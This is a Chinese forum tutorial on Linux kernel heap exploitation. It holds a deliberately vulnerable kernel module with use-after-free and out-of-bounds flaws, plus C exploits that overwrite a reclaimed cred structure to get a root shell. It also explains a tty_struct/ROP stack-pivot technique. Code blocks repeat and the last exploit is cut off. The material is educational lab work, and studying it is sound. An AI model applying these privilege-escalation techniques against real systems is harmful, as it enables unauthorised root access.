首页
社区
课程
招聘
[原创]Kernel从0开始(三)
发表于: 2021-11-2 12:08 29284

[原创]Kernel从0开始(三)

2021-11-2 12:08
29284

这里就尝试用堆来解题,由于kernel的解法多种多样,这里我们从最简单的UAF入手

给出自己设计的堆题目,存在很多的漏洞,read越界读,edit越界写,UAF,Double Free等:

由于是UAF漏洞,所以直接尝试再重启一个进程,这样新进程启动时就会申请一个Cred结构体(这里大小为0xa8)。而如果此时申请的结构体恰好落在我们释放过的堆块上,那么我们就可以利用UAF漏洞修改Cred结构体,将其uid和gid改为0,再利用该进程原地起shell,就能获得root权限的shell了。

这里同样需要一点前置知识,之前也写过类似的,其实就相当于修改某个进程的cred结构体中的uid和gid就能将该进程提权了,之后利用提权后的进程起shell得到的shell就是提权后的shell。

比较简单,这里直接给

这里还需要说明的是,cred结构体大小在我编译的4.4.72中为0xa8,在不同内核版本可能不同,通常可以查看对应版本的Linux内核源码或者写个简便的C程序运行一下即可知道。

前面我们的UAF是正常的指针未置空的UAF,但如果在程序中是add函数申请chunk,只有在关闭设备时才会释放chunk。那么这样当我们对一个设备进行操作时,只有在关闭设备时才能释放chunk,这就无法显著地造成UAF。但是如果能够对同一个设备打开两次 (操作符分别为fd1,fd2) ,申请一个堆块后,关闭掉第一个设备fd1后,就能释放该堆块。之后利用fd2继续对设备进行写操作,就能够继续修改释放掉的堆块了,这样就造成了一个UAF漏洞。同样也是利用cred结构体进行提权。

同样直接给出poc即可

这个真是调了我无敌久。

entry_SYSCALL_64->SyS_write->SYSC_write->vfs_write

->__vfs_write->tty_write->do_tty_write->n_tty_write->pty_write

这里我们需要的就是劫持某个结构体,从而使得原本通过该结构体调用pty_write函数指针变为调用我们的ROP链条。

由于用户空间和内核空间得返回进入需要用到栈,所以一般需要进行栈劫持,这里我们可以看到当通过ptmx进入其write函数时,rax为从tty_struct中获取的operations ops指针,而此时该指针已经被我们劫持了,所以如果有类似于mov rsp,rax之类的gadget就能将栈劫持到我们可控的operations ops指针指向的内存处,那么之后就很容易进行内核和用户空间的转换。

这里就用到常用的一个gadget

movRspRax_decEbx_ret

image-20211011000008800

这个之前也是讲过的

当我们打开ptmx设备时,会使用kmalloc申请这个tty_struct结构,如果存在一个UAF漏洞,那么就可以将该tty_struct申请为我们释放掉的一个chunk,其中重要的是int magic;和const struct tty_operations *ops;这两个结构体成员。

这个在网上很多人都直接将其设置为0,但是在某些版本中,如果直接设置为0,通常可能出现以下的错误:

image-20211010233205104

也就是magic number检测错误,这个经过调试可以发现,实际申请结构体之后是不变的:

Snipaste_2021-10-10_23-37-19

可以得到如下的数值

image-20211010233844033

这个在后面的数值设置中可以用到,需要我们来调试才可以,不然其实如果直接设置为0也容易出错。

另外其中的driver可以设置为0,所以一般直接设置tty_struct[3]和tty_struct[0]即可。

这个const struct tty_operations *ops结构体指针在该做法里被劫持为我们设置fake_operations指针,有如下结构体,设置fake_operations中的write函数指针为ROP链条,就可以通过调用ptmx设备中的write函数,从而调用到我们设置的ROP链条。

image-20211010234216013

image-20211010235017786

image-20211010235311913

image-20211010235416812

这里还得说一下执行流程,比较不好调试

即先是依据write函数跳转到我们最开始设置的gadget,也就是movRspRax_decEbx_ret,然后将栈劫持为fake_tty_operations。之后再跳转到pop_rax_rbx_r12_r13_rbp_ret,将ROP赋值给rax,再ret到

movRspRax_decEbx_ret,再将栈劫持为ROP,之后就ret到ROP链条中的pop_rdi_ret了,之后执行流可控。

swapgs;ret没有时,可以用加上pop的,只要最后ret到iretq即可。同样的gadget可以相互转换。

iretq类似于ret,直接一个指令即可。

寄存器保存需要在进入内核之前。

堆块申请时的规则需要是GFP_KERNEL才行,至少GFP_DMA不行。

 
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
 
//设备驱动常用变量
//static char *buffer_var = NULL;
static char *buffer_var = NULL;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t stack_dev_no;
 
 
struct note
{
    int idx;
    int len;
    char* data;
};
 
 
//static char* notelist[1000];
static char* notelist[1000];
static struct note* noteChunk;
static int count = 0;
 
 
 
static ssize_t stack_read(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);
 
static ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);
 
static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
 
static int stack_open(struct inode *i, struct file *f);
 
static int stack_close(struct inode *i, struct file *f);
 
 
 
static struct file_operations stack_fops =
        {
                .owner = THIS_MODULE,
                .open = stack_open,
                .release = stack_close,
                .write = stack_write,
                .read = stack_read,
                .unlocked_ioctl = stack_ioctl
        };
 
// 设备驱动模块加载函数
static int __init stack_init(void)
{
    printk(KERN_INFO "[i] Module stack registered");
    if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
    {
        return -1;
    }
    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
    {
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
    if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
    {
        printk(KERN_INFO "[i] Module stack error");
        class_destroy(devClass);
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
    cdev_init(&cdev, &stack_fops);
    if (cdev_add(&cdev, stack_dev_no, 1) == -1)
    {
        device_destroy(devClass, stack_dev_no);
        class_destroy(devClass);
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
 
    printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
    return 0;
}
 
// 设备驱动模块卸载函数
static void __exit stack_exit(void)
{
    // 释放占用的设备号
    unregister_chrdev_region(stack_dev_no, 1);
    cdev_del(&cdev);
}
 
 
// 读设备
ssize_t stack_read(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)
{
    printk(KERN_INFO "Stack_read function" );
    copy_to_user(buf,buffer_var,len);
}
 
// 写设备
ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)  //buffer overflow
{
    printk(KERN_INFO "Stack_write function" );
    copy_from_user(buffer_var, buf, len);
    printk("[i] Module stack write: %s\n",buffer_var);
    return len;
}
 
 
 
// ioctl函数命令控制
long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    char* chunk = NULL;
    int retval = 0;
    printk(KERN_INFO "Ioctl Get!\n");
    printk("notelist_addr:0x%llx\n",&notelist[0]);
    switch (cmd) {
 
        case 1://add
            //noteChunk = (char *)kmalloc(sizeof(struct Note),GFP_KERNEL);
            //copy_from_user(noteChunk, arg, sizeof(struct Note));
 
            printk("Kernel Add function!---001\n");
            noteChunk = (struct Note*)arg;
            chunk = (char *)kmalloc(noteChunk->len,GFP_KERNEL);
            printk("chunk_addr:0x%llx\n",chunk);
            if (!chunk)
            {
                printk("Alloca Error\n");
                return 0;
            }
            memcpy(chunk, noteChunk->data,noteChunk->len);
            notelist[count] = chunk;
            chunk = NULL;
            count ++;
            printk("Add Success!\n");
            break;
 
        case 888: //free without clean point and data
            printk("Kernel Free function!---888\n");
            noteChunk = (struct Note*)arg;
            printk("notelist:0x%llx\n",notelist[noteChunk->idx]);
            if (notelist[noteChunk->idx])
            {
                kfree(notelist[noteChunk->idx]);
                //notelist[noteChunk->idx] = NULL;
                printk("Free Success!\n");
            }
            else
            {
                printk("You can't free it!There is no chunk!\n");
            }
            break;
 
        case 3://edit   //UAF and overflow
            printk("Kernel Edit function!---003\n");
            noteChunk = (struct Note*)arg;
            if (notelist[noteChunk->idx])
            {
                memcpy(notelist[noteChunk->idx], noteChunk->data,noteChunk->len);
                printk("Edit Success!\n");
            }
            else
            {
                printk("You can't edit it!There is no chunk!\n");
            }
            break;
 
        case 4://read   //over read
            printk("Kernel Read function!---004\n");
            noteChunk = (struct Note*)arg;
            if(notelist[noteChunk->idx]){
                copy_to_user(noteChunk->data,notelist[noteChunk->idx],noteChunk->len);
                printk("Read Success!\n");
            }
            break;
 
        case 111: //Test add chunk
            printk("Test add chunk!---111\n");
            printk(KERN_INFO "No buffer_var!Malloc now!" );
            buffer_var=(char*)kmalloc(0xa8,GFP_KERNEL);
            printk("buffer_var:0x%llx\n",buffer_var);
            break;
 
        default:
            retval = -1;
            break;
    }   
 
    return retval;
}
 
 
static int stack_open(struct inode *i, struct file *f)
{
    printk(KERN_INFO "[i] Module stack: open()\n");
    return 0;
}
 
static int stack_close(struct inode *i, struct file *f)
{
    kfree(buffer_var);
    //buffer_var = NULL;
    printk(KERN_INFO "[i] Module stack: close()\n");
    return 0;
}
 
module_init(stack_init);
module_exit(stack_exit);
 
MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
 
//设备驱动常用变量
//static char *buffer_var = NULL;
static char *buffer_var = NULL;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t stack_dev_no;
 
 
struct note
{
    int idx;
    int len;
    char* data;
};
 
 
//static char* notelist[1000];
static char* notelist[1000];
static struct note* noteChunk;
static int count = 0;
 
 
 
static ssize_t stack_read(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);
 
static ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);
 
static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
 
static int stack_open(struct inode *i, struct file *f);
 
static int stack_close(struct inode *i, struct file *f);
 
 
 
static struct file_operations stack_fops =
        {
                .owner = THIS_MODULE,
                .open = stack_open,
                .release = stack_close,
                .write = stack_write,
                .read = stack_read,
                .unlocked_ioctl = stack_ioctl
        };
 
// 设备驱动模块加载函数
static int __init stack_init(void)
{
    printk(KERN_INFO "[i] Module stack registered");
    if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
    {
        return -1;
    }
    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
    {
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
    if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
    {
        printk(KERN_INFO "[i] Module stack error");
        class_destroy(devClass);
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
    cdev_init(&cdev, &stack_fops);
    if (cdev_add(&cdev, stack_dev_no, 1) == -1)
    {
        device_destroy(devClass, stack_dev_no);
        class_destroy(devClass);
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
 
    printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
    return 0;
}
 
// 设备驱动模块卸载函数
static void __exit stack_exit(void)
{
    // 释放占用的设备号
    unregister_chrdev_region(stack_dev_no, 1);
    cdev_del(&cdev);
}
 
 
// 读设备
ssize_t stack_read(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)
{
    printk(KERN_INFO "Stack_read function" );
    copy_to_user(buf,buffer_var,len);
}
 
// 写设备
ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)  //buffer overflow
{
    printk(KERN_INFO "Stack_write function" );
    copy_from_user(buffer_var, buf, len);
    printk("[i] Module stack write: %s\n",buffer_var);
    return len;
}
 
 
 
// ioctl函数命令控制
long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    char* chunk = NULL;
    int retval = 0;
    printk(KERN_INFO "Ioctl Get!\n");
    printk("notelist_addr:0x%llx\n",&notelist[0]);
    switch (cmd) {
 
        case 1://add
            //noteChunk = (char *)kmalloc(sizeof(struct Note),GFP_KERNEL);
            //copy_from_user(noteChunk, arg, sizeof(struct Note));
 
            printk("Kernel Add function!---001\n");
            noteChunk = (struct Note*)arg;
            chunk = (char *)kmalloc(noteChunk->len,GFP_KERNEL);
            printk("chunk_addr:0x%llx\n",chunk);
            if (!chunk)
            {
                printk("Alloca Error\n");
                return 0;
            }
            memcpy(chunk, noteChunk->data,noteChunk->len);
            notelist[count] = chunk;
            chunk = NULL;
            count ++;
            printk("Add Success!\n");
            break;
 
        case 888: //free without clean point and data
            printk("Kernel Free function!---888\n");
            noteChunk = (struct Note*)arg;
            printk("notelist:0x%llx\n",notelist[noteChunk->idx]);
            if (notelist[noteChunk->idx])
            {
                kfree(notelist[noteChunk->idx]);
                //notelist[noteChunk->idx] = NULL;
                printk("Free Success!\n");
            }
            else
            {
                printk("You can't free it!There is no chunk!\n");
            }
            break;
 
        case 3://edit   //UAF and overflow
            printk("Kernel Edit function!---003\n");
            noteChunk = (struct Note*)arg;
            if (notelist[noteChunk->idx])
            {
                memcpy(notelist[noteChunk->idx], noteChunk->data,noteChunk->len);
                printk("Edit Success!\n");
            }
            else
            {
                printk("You can't edit it!There is no chunk!\n");
            }
            break;
 
        case 4://read   //over read
            printk("Kernel Read function!---004\n");
            noteChunk = (struct Note*)arg;
            if(notelist[noteChunk->idx]){
                copy_to_user(noteChunk->data,notelist[noteChunk->idx],noteChunk->len);
                printk("Read Success!\n");
            }
            break;
 
        case 111: //Test add chunk
            printk("Test add chunk!---111\n");
            printk(KERN_INFO "No buffer_var!Malloc now!" );
            buffer_var=(char*)kmalloc(0xa8,GFP_KERNEL);
            printk("buffer_var:0x%llx\n",buffer_var);
            break;
 
        default:
            retval = -1;
            break;
    }   
 
    return retval;
}
 
 
static int stack_open(struct inode *i, struct file *f)
{
    printk(KERN_INFO "[i] Module stack: open()\n");
    return 0;
}
 
static int stack_close(struct inode *i, struct file *f)
{
    kfree(buffer_var);
    //buffer_var = NULL;
    printk(KERN_INFO "[i] Module stack: close()\n");
    return 0;
}
 
module_init(stack_init);
module_exit(stack_exit);
 
MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");
 
 
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
 
 
struct addNote
{
    size_t len;
    char* data;
};
 
struct editNote
{
    size_t idx;
    size_t len;
    char* data;
};
 
 
 
//open dev
int openDev(char* pos);
void addFun(int fd,struct addNote* arg);
void freeFun(int fd,struct editNote* arg);
void editFun(int fd,struct editNote* arg);
void readFun(int fd,struct editNote* arg);
 
 
int main(int argc, char *argv[])
{
    int fd;
    int idFork;
    unsigned long memOffset;
    struct addNote addChunk;
    struct editNote readChunk;
    struct editNote editChunk;
 
    //open Dev
    char* pos = "/dev/stack";
    fd = openDev(pos);
 
    char credBuf[0xa8] = {0};
    addChunk.len = 0xa8;
    addChunk.data = credBuf;
    addFun(fd,&addChunk);
 
    editChunk.idx = 0;
    freeFun(fd,&editChunk);
 
    idFork = fork();
    editChunk.data = credBuf;
    editChunk.len = 28;
    if(idFork == 0){
        //get into 28*0 to set uid and gid 0
        editFun(fd,&editChunk);    
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");
            return 0;
        }
    }
    else if(idFork < 0){
        printf("[*]fork fail\n");
    }
    else{
        wait(NULL);
    }
 
    return 0;
 
}
 
 
int openDev(char* pos){
    int fd;
    printf("[+] Open %s...\n",pos);
    if ((fd = open(pos, O_RDWR)) < 0) {
        printf("    Can't open device file: %s\n",pos);
        exit(1);
    }
    return fd;
}
 
void addFun(int fd, struct addNote* arg)
{
    ioctl(fd,1,arg);
}
 
void freeFun(int fd, struct editNote* arg)
{
    ioctl(fd,888,arg);
}
 
void editFun(int fd, struct editNote* arg)
{
    ioctl(fd,3,arg);
}
 
void readFun(int fd, struct editNote* arg)
{
    ioctl(fd,4,arg);
}
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
 
 
struct addNote
{
    size_t len;
    char* data;
};
 
struct editNote
{
    size_t idx;
    size_t len;
    char* data;
};
 
 
 
//open dev
int openDev(char* pos);
void addFun(int fd,struct addNote* arg);
void freeFun(int fd,struct editNote* arg);
void editFun(int fd,struct editNote* arg);
void readFun(int fd,struct editNote* arg);
 
 
int main(int argc, char *argv[])
{
    int fd;
    int idFork;
    unsigned long memOffset;
    struct addNote addChunk;
    struct editNote readChunk;
    struct editNote editChunk;
 
    //open Dev
    char* pos = "/dev/stack";
    fd = openDev(pos);
 
    char credBuf[0xa8] = {0};
    addChunk.len = 0xa8;
    addChunk.data = credBuf;
    addFun(fd,&addChunk);
 
    editChunk.idx = 0;
    freeFun(fd,&editChunk);
 
    idFork = fork();
    editChunk.data = credBuf;
    editChunk.len = 28;
    if(idFork == 0){
        //get into 28*0 to set uid and gid 0
        editFun(fd,&editChunk);    
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");
            return 0;
        }
    }
    else if(idFork < 0){
        printf("[*]fork fail\n");
    }
    else{
        wait(NULL);
    }
 
    return 0;
 
}
 
 
int openDev(char* pos){
    int fd;
    printf("[+] Open %s...\n",pos);
    if ((fd = open(pos, O_RDWR)) < 0) {
        printf("    Can't open device file: %s\n",pos);
        exit(1);
    }
    return fd;
}
 
void addFun(int fd, struct addNote* arg)
{
    ioctl(fd,1,arg);
}
 
void freeFun(int fd, struct editNote* arg)
{
    ioctl(fd,888,arg);
}
 
void editFun(int fd, struct editNote* arg)
{
    ioctl(fd,3,arg);
}
 
void readFun(int fd, struct editNote* arg)
{
    ioctl(fd,4,arg);
}
 
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
 
 
 
 
 
struct addNote
{
    size_t len;
    char* data;
};
 
struct editNote
{
    size_t idx;
    size_t len;
    char* data;
};
 
 
 
//open dev
int openDev(char* pos);
void addFun(int fd,struct addNote* arg);
void freeFun(int fd,struct editNote* arg);
void editFun(int fd,struct editNote* arg);
void readFun(int fd,struct editNote* arg);
 
 
int main(int argc, char *argv[])
{
    int fd1,fd2;
    int idFork,idBefore;
    unsigned long memOffset;
    struct addNote addChunk;
    struct editNote readChunk;
    struct editNote editChunk;
    //char *mycred;
 
    //mycred = current_user_ns();
    //printf("Cred_addr:0x%llx\n",mycred);
 
    //open Dev
    char* pos = "/dev/stack";
    char credBuf[0xa8] = {0};
    fd1 = openDev(pos);
    fd2 = openDev(pos);
    ioctl(fd1,111,editChunk); //test add
    close(fd1);
 
    idFork = fork();
    printf("idFork:%d\n",idFork);
 
    if(idFork == 0){
        //get into 28*0 to set uid and gid 0
        idBefore = getuid();
        printf("Before uid:%d\n",idBefore);
        write(fd2, credBuf, 28);
 
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");
            return 0;
        }
    }
    else if(idFork < 0){
        printf("[*]fork fail\n");
    }
    else{
        wait(NULL);
    }
 
    return 0;
 
}
 
 
int openDev(char* pos){
    int fd;
    printf("[+] Open %s...\n",pos);
    if ((fd = open(pos, O_RDWR)) < 0) {
        printf("    Can't open device file: %s\n",pos);
        exit(1);
    }
    return fd;
}
 
void addFun(int fd, struct addNote* arg)
{
    ioctl(fd,1,arg);
}
 
void freeFun(int fd, struct editNote* arg)
{
    ioctl(fd,888,arg);
}
 
void editFun(int fd, struct editNote* arg)
{
    ioctl(fd,3,arg);
}
 
void readFun(int fd, struct editNote* arg)
{
    ioctl(fd,4,arg);
}
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
 
 
 
 
 
struct addNote
{
    size_t len;
    char* data;
};
 
struct editNote
{
    size_t idx;
    size_t len;
    char* data;
};
 
 
 
//open dev
int openDev(char* pos);
void addFun(int fd,struct addNote* arg);
void freeFun(int fd,struct editNote* arg);
void editFun(int fd,struct editNote* arg);
void readFun(int fd,struct editNote* arg);
 
 
int main(int argc, char *argv[])
{
    int fd1,fd2;
    int idFork,idBefore;
    unsigned long memOffset;
    struct addNote addChunk;
    struct editNote readChunk;
    struct editNote editChunk;
    //char *mycred;
 
    //mycred = current_user_ns();
    //printf("Cred_addr:0x%llx\n",mycred);
 
    //open Dev
    char* pos = "/dev/stack";
    char credBuf[0xa8] = {0};
    fd1 = openDev(pos);
    fd2 = openDev(pos);
    ioctl(fd1,111,editChunk); //test add
    close(fd1);
 
    idFork = fork();

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 5
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//